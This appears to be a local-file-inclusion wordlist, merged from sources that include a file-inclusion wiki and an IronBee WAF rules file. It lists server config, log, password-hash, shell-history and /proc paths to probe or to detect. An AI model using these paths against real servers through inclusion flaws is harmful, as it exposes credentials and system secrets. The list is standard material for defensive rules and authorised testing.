/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
# Reference: https://nets.ec/File_Inclusion
/etc/passwd
/etc/master.passwd
/etc/shadow
/var/db/shadow/hash
/etc/group
/etc/hosts
/etc/motd
/etc/issue
/etc/release
/etc/redhat-release
/etc/crontab
/etc/inittab
/proc/version
/proc/cmdline
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/255
/etc/httpd.conf
/etc/apache2.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/etc/apache2/sites-enabled/000-default
/etc/apache2/sites-available/default
/etc/nginx.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default
/etc/ssh/sshd_config
/etc/my.cnf
/etc/mysql/my.cnf
/etc/php.ini
/var/mail/www-data
/var/mail/www
/var/mail/apache
/var/mail/nobody
/var/www/.bash_history
/root/.bash_history
/var/root/.bash_history
/var/root/.sh_history
/etc/passwd
/etc/master.passwd
/etc/shadow
/var/db/shadow/hash
/etc/group
/etc/hosts
/etc/motd
/etc/issue
/etc/release
/etc/redhat-release
/etc/crontab
/etc/inittab
/proc/version
/proc/cmdline
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/255
/etc/httpd.conf
/etc/apache2.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/httpd.conf
/etc/apache2/conf/httpd.conf
/etc/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/etc/apache2/sites-enabled/000-default
/etc/apache2/sites-available/default
/etc/nginx.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default
/etc/ssh/sshd_config
/etc/my.cnf
/etc/mysql/my.cnf
/etc/php.ini
/var/mail/www-data
/var/mail/www
/var/mail/apache
/var/mail/nobody
/var/www/.bash_history
/root/.bash_history
/var/root/.bash_history
/var/root/.sh_history
/usr/local/apache/httpd.conf
/usr/local/apache2/httpd.conf
/usr/local/httpd/conf/httpd.conf
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/apache/conf/httpd.conf
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/opt/apache/conf/httpd.conf
/opt/apache2/conf/httpd.conf
/var/www/conf/httpd.conf
/usr/local/php/httpd.conf
/usr/local/php4/httpd.conf
/usr/local/php5/httpd.conf
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/apache/conf/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/var/log/lastlog
/var/log/wtmp
/var/run/utmp
/var/log/messages.log
/var/log/messages
/var/log/messages.0
/var/log/messages.1
/var/log/messages.2
/var/log/messages.3
/var/log/syslog.log
/var/log/syslog
/var/log/syslog.0
/var/log/syslog.1
/var/log/syslog.2
/var/log/syslog.3
/var/log/auth.log
/var/log/auth.log.0
/var/log/auth.log.1
/var/log/auth.log.2
/var/log/auth.log.3
/var/log/authlog
/var/log/syslog
/var/adm/lastlog
/var/adm/messages
/var/adm/messages.0
/var/adm/messages.1
/var/adm/messages.2
/var/adm/messages.3
/var/adm/utmpx
/var/adm/wtmpx
/var/log/kernel.log
/var/log/secure.log
/var/log/mail.log
/var/run/utmp
/var/log/wtmp
/var/log/lastlog
/var/log/access.log
/var/log/access_log
/var/log/error.log
/var/log/error_log
/var/log/apache2/access.log
/var/log/apache2/access_log
/var/log/apache2/error.log
/var/log/apache2/error_log
/var/log/apache/access.log
/var/log/apache/access_log
/var/log/apache/error.log
/var/log/apache/error_log
/var/log/httpd/access.log
/var/log/httpd/access_log
/var/log/httpd/error.log
/var/log/httpd/error_log
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/var/www/logs/access.log
/var/www/logs/access_log
/var/www/logs/error.log
/var/www/logs/error_log
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
# Reference: https://github.com/ironbee/ironbee-rules/blob/master/rules/lfi-files.data
/.htaccess
/.htpasswd
/access.log
/access_log
/apache/conf/httpd.conf
/apache/logs/access.log
/apache/logs/error.log
/apache/php/php.ini
/apache2/logs/access.log
/apache2/logs/error.log
/bin/php.ini
/boot.ini
/boot/grub/grub.cfg
/boot/grub/menu.lst
/config.inc.php
/error.log
/error_log
/etc/adduser.conf
/etc/alias
/etc/apache/access.conf
/etc/apache/apache.conf
/etc/apache/conf/httpd.conf
/etc/apache/default-server.conf
/etc/apache/httpd.conf
/etc/apache2/apache.conf
/etc/apache2/apache2.conf
/etc/apache2/conf.d/charset
/etc/apache2/conf.d/phpmyadmin.conf
/etc/apache2/conf.d/security
/etc/apache2/conf/httpd.conf
/etc/apache2/default-server.conf
/etc/apache2/envvars
/etc/apache2/httpd.conf
/etc/apache2/httpd2.conf
/etc/apache2/mods-available/autoindex.conf
/etc/apache2/mods-available/deflate.conf
/etc/apache2/mods-available/dir.conf
/etc/apache2/mods-available/mem_cache.conf
/etc/apache2/mods-available/mime.conf
/etc/apache2/mods-available/proxy.conf
/etc/apache2/mods-available/setenvif.conf
/etc/apache2/mods-available/ssl.conf
/etc/apache2/mods-enabled/alias.conf
/etc/apache2/mods-enabled/deflate.conf
/etc/apache2/mods-enabled/dir.conf
/etc/apache2/mods-enabled/mime.conf
/etc/apache2/mods-enabled/negotiation.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-enabled/status.conf
/etc/apache2/ports.conf
/etc/apache2/sites-available/default
/etc/apache2/sites-available/default-ssl
/etc/apache2/sites-enabled/000-default
/etc/apache2/sites-enabled/default
/etc/apache2/ssl-global.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/etc/apache2/vhosts.d/default_vhost.include
/etc/apache22/conf/httpd.conf
/etc/apache22/httpd.conf
/etc/apt/apt.conf
/etc/avahi/avahi-daemon.conf
/etc/bash.bashrc
/etc/bash_completion.d/debconf
/etc/bluetooth/input.conf
/etc/bluetooth/main.conf
/etc/bluetooth/network.conf
/etc/bluetooth/rfcomm.conf
/etc/ca-certificates.conf
/etc/ca-certificates.conf.dpkg-old
/etc/casper.conf
/etc/chkrootkit.conf
/etc/chrootusers
/etc/clamav/clamd.conf
/etc/clamav/freshclam.conf
/etc/crontab
/etc/crypttab
/etc/cups/acroread.conf
/etc/cups/cupsd.conf
/etc/cups/cupsd.conf.default
/etc/cups/pdftops.conf
/etc/cups/printers.conf
/etc/cvs-cron.conf
/etc/cvs-pserver.conf
/etc/debconf.conf
/etc/debian_version
/etc/default/grub
/etc/deluser.conf
/etc/dhcp/dhclient.conf
/etc/dhcp3/dhclient.conf
/etc/dhcp3/dhcpd.conf
/etc/dns2tcpd.conf
/etc/e2fsck.conf
/etc/esound/esd.conf
/etc/etter.conf
/etc/exports
/etc/fedora-release
/etc/firewall.rules
/etc/foremost.conf
/etc/fstab
/etc/ftpchroot
/etc/ftphosts
/etc/ftpusers
/etc/fuse.conf
/etc/group
/etc/group-
/etc/hdparm.conf
/etc/host.conf
/etc/hostname
/etc/hosts
/etc/hosts.allow
/etc/hosts.deny
/etc/http/conf/httpd.conf
/etc/http/httpd.conf
/etc/httpd.conf
/etc/httpd/apache.conf
/etc/httpd/apache2.conf
/etc/httpd/conf
/etc/httpd/conf.d
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/squirrelmail.conf
/etc/httpd/conf/apache.conf
/etc/httpd/conf/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/httpd/extra/httpd-ssl.conf
/etc/httpd/httpd.conf
/etc/httpd/logs/access.log
/etc/httpd/logs/access_log
/etc/httpd/logs/error.log
/etc/httpd/logs/error_log
/etc/httpd/mod_php.conf
/etc/httpd/php.ini
/etc/inetd.conf
/etc/init.d
/etc/inittab
/etc/ipfw.conf
/etc/ipfw.rules
/etc/issue
/etc/issue
/etc/issue.net
/etc/kbd/config
/etc/kernel-img.conf
/etc/kernel-pkg.conf
/etc/ld.so.conf
/etc/ldap/ldap.conf
/etc/lighttpd/lighthttpd.conf
/etc/login.defs
/etc/logrotate.conf
/etc/logrotate.d/ftp
/etc/logrotate.d/proftpd
/etc/logrotate.d/vsftpd.log
/etc/ltrace.conf
/etc/mail/sendmail.conf
/etc/mandrake-release
/etc/manpath.config
/etc/miredo-server.conf
/etc/miredo.conf
/etc/miredo/miredo-server.conf
/etc/miredo/miredo.conf
/etc/modprobe.d/vmware-tools.conf
/etc/modules
/etc/mono/1.0/machine.config
/etc/mono/2.0/machine.config
/etc/mono/2.0/web.config
/etc/mono/config
/etc/motd
/etc/motd
/etc/mtab
/etc/mtools.conf
/etc/muddleftpd.com
/etc/muddleftpd/muddleftpd.conf
/etc/muddleftpd/muddleftpd.passwd
/etc/muddleftpd/mudlog
/etc/muddleftpd/mudlogd.conf
/etc/muddleftpd/passwd
/etc/my.cnf
/etc/mysql/conf.d/old_passwords.cnf
/etc/mysql/my.cnf
/etc/networks
/etc/newsyslog.conf
/etc/nginx/nginx.conf
/etc/openldap/ldap.conf
/etc/os-release
/etc/osxhttpd/osxhttpd.conf
/etc/pam.conf
/etc/pam.d/proftpd
/etc/passwd
/etc/passwd
/etc/passwd-
/etc/passwd~
/etc/password.master
/etc/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/etc/php/cgi/php.ini
/etc/php/php.ini
/etc/php/php4/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php4/cgi/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php5/cgi/php.ini
/etc/phpmyadmin/config.inc.php
/etc/postgresql/pg_hba.conf
/etc/postgresql/postgresql.conf
/etc/profile
/etc/proftp.conf
/etc/proftpd/modules.conf
/etc/protpd/proftpd.conf
/etc/pulse/client.conf
/etc/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.conf
/etc/pure-ftpd/pure-ftpd.pdb
/etc/pure-ftpd/pureftpd.pdb
/etc/pureftpd.passwd
/etc/pureftpd.pdb
/etc/rc.conf
/etc/rc.d/rc.httpd
/etc/redhat-release
/etc/resolv.conf
/etc/resolvconf/update-libc.d/sendmail
/etc/samba/dhcp.conf
/etc/samba/netlogon
/etc/samba/private/smbpasswd
/etc/samba/samba.conf
/etc/samba/smb.conf
/etc/samba/smb.conf.user
/etc/samba/smbpasswd
/etc/samba/smbusers
/etc/security/access.conf
/etc/security/environ
/etc/security/failedlogin
/etc/security/group
/etc/security/group.conf
/etc/security/lastlog
/etc/security/limits
/etc/security/limits.conf
/etc/security/namespace.conf
/etc/security/opasswd
/etc/security/pam_env.conf
/etc/security/passwd
/etc/security/sepermit.conf
/etc/security/time.conf
/etc/security/user
/etc/sensors.conf
/etc/sensors3.conf
/etc/shadow
/etc/shadow-
/etc/shadow~
/etc/slackware-release
/etc/smb.conf
/etc/smbpasswd
/etc/smi.conf
/etc/squirrelmail/apache.conf
/etc/squirrelmail/config.php
/etc/squirrelmail/config/config.php
/etc/squirrelmail/config_default.php
/etc/squirrelmail/config_local.php
/etc/squirrelmail/default_pref
/etc/squirrelmail/filters_setup.php
/etc/squirrelmail/index.php
/etc/squirrelmail/sqspell_config.php
/etc/ssh/sshd_config
/etc/sso/sso_config.ini
/etc/stunnel/stunnel.conf
/etc/subversion/config
/etc/sudoers
/etc/suse-release
/etc/sw-cp-server/applications.d/00-sso-cpserver.conf
/etc/sw-cp-server/applications.d/plesk.conf
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/sysctl.conf
/etc/sysctl.d/10-console-messages.conf
/etc/sysctl.d/10-network-security.conf
/etc/sysctl.d/10-process-security.conf
/etc/sysctl.d/wine.sysctl.conf
/etc/syslog.conf
/etc/timezone
/etc/tinyproxy/tinyproxy.conf
/etc/tor/tor-tsocks.conf
/etc/tsocks.conf
/etc/updatedb.conf
/etc/updatedb.conf.beforevmwaretoolsinstall
/etc/utmp
/etc/vhcs2/proftpd/proftpd.conf
/etc/vmware-tools/config
/etc/vmware-tools/tpvmlp.conf
/etc/vmware-tools/vmware-tools-libraries.conf
/etc/vsftpd.chroot_list
/etc/vsftpd.conf
/etc/vsftpd/vsftpd.conf
/etc/webmin/miniserv.conf
/etc/webmin/miniserv.users
/etc/wicd/dhclient.conf.template.default
/etc/wicd/manager-settings.conf
/etc/wicd/wired-settings.conf
/etc/wicd/wireless-settings.conf
/etc/wu-ftpd/ftpaccess
/etc/wu-ftpd/ftphosts
/etc/wu-ftpd/ftpusers
/etc/x11/xorg.conf
/etc/x11/xorg.conf-vesa
/etc/x11/xorg.conf-vmware
/etc/x11/xorg.conf.beforevmwaretoolsinstall
/etc/x11/xorg.conf.orig
/home/bin/stable/apache/php.ini
/home/postgres/data/pg_hba.conf
/home/postgres/data/pg_ident.conf
/home/postgres/data/pg_version
/home/postgres/data/postgresql.conf
/home/user/lighttpd/lighttpd.conf
/home2/bin/stable/apache/php.ini
/http/httpd.conf
/library/webserver/documents/.htaccess
/library/webserver/documents/default.htm
/library/webserver/documents/default.html
/library/webserver/documents/default.php
/library/webserver/documents/index.htm
/library/webserver/documents/index.html
/library/webserver/documents/index.php
/logs/access.log
/logs/access_log
/logs/error.log
/logs/error_log
/logs/pure-ftpd.log
/logs/security_debug_log
/logs/security_log
/mysql/bin/my.ini
/mysql/data/mysql-bin.index
/mysql/data/mysql-bin.log
/mysql/data/mysql.err
/mysql/data/mysql.log
/mysql/my.cnf
/mysql/my.ini
/netserver/bin/stable/apache/php.ini
/opt/jboss/server/default/conf/jboss-minimal.xml
/opt/jboss/server/default/conf/jboss-service.xml
/opt/jboss/server/default/conf/jndi.properties
/opt/jboss/server/default/conf/log4j.xml
/opt/jboss/server/default/conf/login-config.xml
/opt/jboss/server/default/conf/server.log.properties
/opt/jboss/server/default/conf/standardjaws.xml
/opt/jboss/server/default/conf/standardjboss.xml
/opt/jboss/server/default/deploy/jboss-logging.xml
/opt/jboss/server/default/log/boot.log
/opt/jboss/server/default/log/server.log
/opt/apache/apache.conf
/opt/apache/apache2.conf
/opt/apache/conf/apache.conf
/opt/apache/conf/apache2.conf
/opt/apache/conf/httpd.conf
/opt/apache2/apache.conf
/opt/apache2/apache2.conf
/opt/apache2/conf/apache.conf
/opt/apache2/conf/apache2.conf
/opt/apache2/conf/httpd.conf
/opt/apache22/conf/httpd.conf
/opt/httpd/apache.conf
/opt/httpd/apache2.conf
/opt/httpd/conf/apache.conf
/opt/httpd/conf/apache2.conf
/opt/lampp/etc/httpd.conf
/opt/lampp/logs/access.log
/opt/lampp/logs/access_log
/opt/lampp/logs/error.log
/opt/lampp/logs/error_log
/opt/lsws/conf/httpd_conf.xml
/opt/lsws/logs/access.log
/opt/lsws/logs/error.log
/opt/tomcat/logs/catalina.err
/opt/tomcat/logs/catalina.out
/opt/xampp/etc/php.ini
/opt/xampp/logs/access.log
/opt/xampp/logs/access_log
/opt/xampp/logs/error.log
/opt/xampp/logs/error_log
/php/php.ini
/php/php.ini
/php4/php.ini
/php5/php.ini
/postgresql/log/pgadmin.log
/private/etc/httpd/apache.conf
/private/etc/httpd/apache2.conf
/private/etc/httpd/httpd.conf
/private/etc/httpd/httpd.conf.default
/private/etc/squirrelmail/config/config.php
/proc/cpuinfo
/proc/devices
/proc/meminfo
/proc/net/tcp
/proc/net/udp
/proc/self/cmdline
/proc/self/environ
/proc/self/environ
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/mounts
/proc/self/stat
/proc/self/status
/proc/version
/program files/jboss/server/default/conf/jboss-minimal.xml
/program files/jboss/server/default/conf/jboss-service.xml
/program files/jboss/server/default/conf/jndi.properties
/program files/jboss/server/default/conf/log4j.xml
/program files/jboss/server/default/conf/login-config.xml
/program files/jboss/server/default/conf/server.log.properties
/program files/jboss/server/default/conf/standardjaws.xml
/program files/jboss/server/default/conf/standardjboss.xml
/program files/jboss/server/default/deploy/jboss-logging.xml
/program files/jboss/server/default/log/boot.log
/program files/jboss/server/default/log/server.log
/program files/apache group/apache/apache.conf
/program files/apache group/apache/apache2.conf
/program files/apache group/apache/conf/apache.conf
/program files/apache group/apache/conf/apache2.conf
/program files/apache group/apache/conf/httpd.conf
/program files/apache group/apache/logs/access.log
/program files/apache group/apache/logs/error.log
/program files/apache group/apache2/conf/apache.conf
/program files/apache group/apache2/conf/apache2.conf
/program files/apache group/apache2/conf/httpd.conf
/program files/apache software foundation/apache2.2/conf/httpd.conf
/program files/apache software foundation/apache2.2/logs/access.log
/program files/apache software foundation/apache2.2/logs/error.log
/program files/mysql/data/mysql-bin.index
/program files/mysql/data/mysql-bin.log
/program files/mysql/data/mysql.err
/program files/mysql/data/mysql.log
/program files/mysql/my.cnf
/program files/mysql/my.ini
/program files/mysql/mysql server 5.0/data/mysql-bin.index
/program files/mysql/mysql server 5.0/data/mysql-bin.log
/program files/mysql/mysql server 5.0/data/mysql.err
/program files/mysql/mysql server 5.0/data/mysql.log
/program files/mysql/mysql server 5.0/my.cnf
/program files/mysql/mysql server 5.0/my.ini
/program files/postgresql/8.3/data/pg_hba.conf
/program files/postgresql/8.3/data/pg_ident.conf
/program files/postgresql/8.3/data/postgresql.conf
/program files/postgresql/8.4/data/pg_hba.conf
/program files/postgresql/8.4/data/pg_ident.conf
/program files/postgresql/8.4/data/postgresql.conf
/program files/postgresql/9.0/data/pg_hba.conf
/program files/postgresql/9.0/data/pg_ident.conf
/program files/postgresql/9.0/data/postgresql.conf
/program files/postgresql/9.1/data/pg_hba.conf
/program files/postgresql/9.1/data/pg_ident.conf
/program files/postgresql/9.1/data/postgresql.conf
/program files/vidalia bundle/polipo/polipo.conf
/program files/xampp/apache/conf/apache.conf
/program files/xampp/apache/conf/apache2.conf
/program files/xampp/apache/conf/httpd.conf
/root/.bash_config
/root/.bash_history
/root/.bash_logout
/root/.bashrc
/root/.ksh_history
/root/.xauthority
/srv/www/htdos/squirrelmail/config/config.php
/ssl_request_log
/system/library/webobjects/adaptors/apache2.2/apache.conf
/temp/sess_
/thttpd_log
/tmp/jboss/server/default/conf/jboss-minimal.xml
/tmp/jboss/server/default/conf/jboss-service.xml
/tmp/jboss/server/default/conf/jndi.properties
/tmp/jboss/server/default/conf/log4j.xml
/tmp/jboss/server/default/conf/login-config.xml
/tmp/jboss/server/default/conf/server.log.properties
/tmp/jboss/server/default/conf/standardjaws.xml
/tmp/jboss/server/default/conf/standardjboss.xml
/tmp/jboss/server/default/deploy/jboss-logging.xml
/tmp/jboss/server/default/log/boot.log
/tmp/jboss/server/default/log/server.log
/tmp/access.log
/tmp/sess_
/usr/apache/conf/httpd.conf
/usr/apache2/conf/httpd.conf
/usr/etc/pure-ftpd.conf
/usr/home/user/lighttpd/lighttpd.conf
/usr/home/user/var/log/apache.log
/usr/home/user/var/log/lighttpd.error.log
/usr/internet/pgsql/data/pg_hba.conf
/usr/internet/pgsql/data/postmaster.log
/usr/lib/cron/log
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/lib/security/mkuser.default
/usr/local/jboss/server/default/conf/jboss-minimal.xml
/usr/local/jboss/server/default/conf/jboss-service.xml
/usr/local/jboss/server/default/conf/jndi.properties
/usr/local/jboss/server/default/conf/log4j.xml
/usr/local/jboss/server/default/conf/login-config.xml
/usr/local/jboss/server/default/conf/server.log.properties
/usr/local/jboss/server/default/conf/standardjaws.xml
/usr/local/jboss/server/default/conf/standardjboss.xml
/usr/local/jboss/server/default/deploy/jboss-logging.xml
/usr/local/jboss/server/default/log/boot.log
/usr/local/jboss/server/default/log/server.log
/usr/local/apache/apache.conf
/usr/local/apache/apache2.conf
/usr/local/apache/conf/access.conf
/usr/local/apache/conf/apache.conf
/usr/local/apache/conf/apache2.conf
/usr/local/apache/conf/httpd.conf
/usr/local/apache/conf/httpd.conf.default
/usr/local/apache/conf/modsec.conf
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/vhosts-custom.conf
/usr/local/apache/conf/vhosts.conf
/usr/local/apache/httpd.conf
/usr/local/apache/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/audit_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/lighttpd.error.log
/usr/local/apache/logs/lighttpd.log
/usr/local/apache/logs/mod_jk.log
/usr/local/apache1.3/conf/httpd.conf
/usr/local/apache2/apache.conf
/usr/local/apache2/apache2.conf
/usr/local/apache2/conf/apache.conf
/usr/local/apache2/conf/apache2.conf
/usr/local/apache2/conf/extra/httpd-ssl.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/modsec.conf
/usr/local/apache2/conf/ssl.conf
/usr/local/apache2/conf/vhosts-custom.conf
/usr/local/apache2/conf/vhosts.conf
/usr/local/apache2/httpd.conf
/usr/local/apache2/logs/access.log
/usr/local/apache2/logs/access_log
/usr/local/apache2/logs/audit_log
/usr/local/apache2/logs/error.log
/usr/local/apache2/logs/error_log
/usr/local/apache2/logs/lighttpd.error.log
/usr/local/apache2/logs/lighttpd.log
/usr/local/apache22/conf/httpd.conf
/usr/local/apache22/httpd.conf
/usr/local/apps/apache/conf/httpd.conf
/usr/local/apps/apache2/conf/httpd.conf
/usr/local/apps/apache22/conf/httpd.conf
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/apache/conf/httpd.conf
/usr/local/etc/apache/httpd.conf
/usr/local/etc/apache/vhosts.conf
/usr/local/etc/apache2/conf/httpd.conf
/usr/local/etc/apache2/httpd.conf
/usr/local/etc/apache2/vhosts.conf
/usr/local/etc/apache22/conf/httpd.conf
/usr/local/etc/apache22/httpd.conf
/usr/local/etc/httpd/conf
/usr/local/etc/httpd/conf/httpd.conf
/usr/local/etc/lighttpd.conf
/usr/local/etc/lighttpd.conf.new
/usr/local/etc/nginx/nginx.conf
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/etc/smb.conf
/usr/local/etc/webmin/miniserv.conf
/usr/local/etc/webmin/miniserv.users
/usr/local/httpd/conf/httpd.conf
/usr/local/jakarta/dist/tomcat/conf/context.xml
/usr/local/jakarta/dist/tomcat/conf/jakarta.conf
/usr/local/jakarta/dist/tomcat/conf/logging.properties
/usr/local/jakarta/dist/tomcat/conf/server.xml
/usr/local/jakarta/dist/tomcat/conf/workers.properties
/usr/local/jakarta/dist/tomcat/logs/mod_jk.log
/usr/local/jakarta/tomcat/conf/context.xml
/usr/local/jakarta/tomcat/conf/jakarta.conf
/usr/local/jakarta/tomcat/conf/logging.properties
/usr/local/jakarta/tomcat/conf/server.xml
/usr/local/jakarta/tomcat/conf/workers.properties
/usr/local/jakarta/tomcat/logs/catalina.err
/usr/local/jakarta/tomcat/logs/catalina.out
/usr/local/jakarta/tomcat/logs/mod_jk.log
/usr/local/lib/php.ini
/usr/local/lighttpd/conf/lighttpd.conf
/usr/local/lighttpd/log/access.log
/usr/local/lighttpd/log/lighttpd.error.log
/usr/local/logs/access.log
/usr/local/logs/samba.log
/usr/local/lsws/conf/httpd_conf.xml
/usr/local/lsws/logs/error.log
/usr/local/mysql/data/mysql-bin.index
/usr/local/mysql/data/mysql-bin.log
/usr/local/mysql/data/mysql-slow.log
/usr/local/mysql/data/mysql.err
/usr/local/mysql/data/mysql.log
/usr/local/mysql/data/mysqlderror.log
/usr/local/nginx/conf/nginx.conf
/usr/local/pgsql/bin/pg_passwd
/usr/local/pgsql/data/passwd
/usr/local/pgsql/data/pg_hba.conf
/usr/local/pgsql/data/pg_log
/usr/local/pgsql/data/postgresql.conf
/usr/local/pgsql/data/postgresql.log
/usr/local/php/apache.conf
/usr/local/php/apache.conf.php
/usr/local/php/apache2.conf
/usr/local/php/apache2.conf.php
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.php
/usr/local/php/lib/php.ini
/usr/local/php4/apache.conf
/usr/local/php4/apache.conf.php
/usr/local/php4/apache2.conf
/usr/local/php4/apache2.conf.php
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/apache.conf
/usr/local/php5/apache.conf.php
/usr/local/php5/apache2.conf
/usr/local/php5/apache2.conf.php
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/psa/admin/conf/php.ini
/usr/local/psa/admin/conf/site_isolation_settings.ini
/usr/local/psa/admin/htdocs/domains/databases/phpmyadmin/libraries/config.default.php
/usr/local/psa/admin/logs/httpsd_access_log
/usr/local/psa/admin/logs/panel.log
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdb
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/samba/lib/log.user
/usr/local/samba/lib/smb.conf.user
/usr/local/sb/config
/usr/local/squirrelmail/www/readme
/usr/local/zend/etc/php.ini
/usr/local/zeus/web/global.cfg
/usr/local/zeus/web/log/errors
/usr/pkg/etc/httpd/httpd-default.conf
/usr/pkg/etc/httpd/httpd-vhosts.conf
/usr/pkg/etc/httpd/httpd.conf
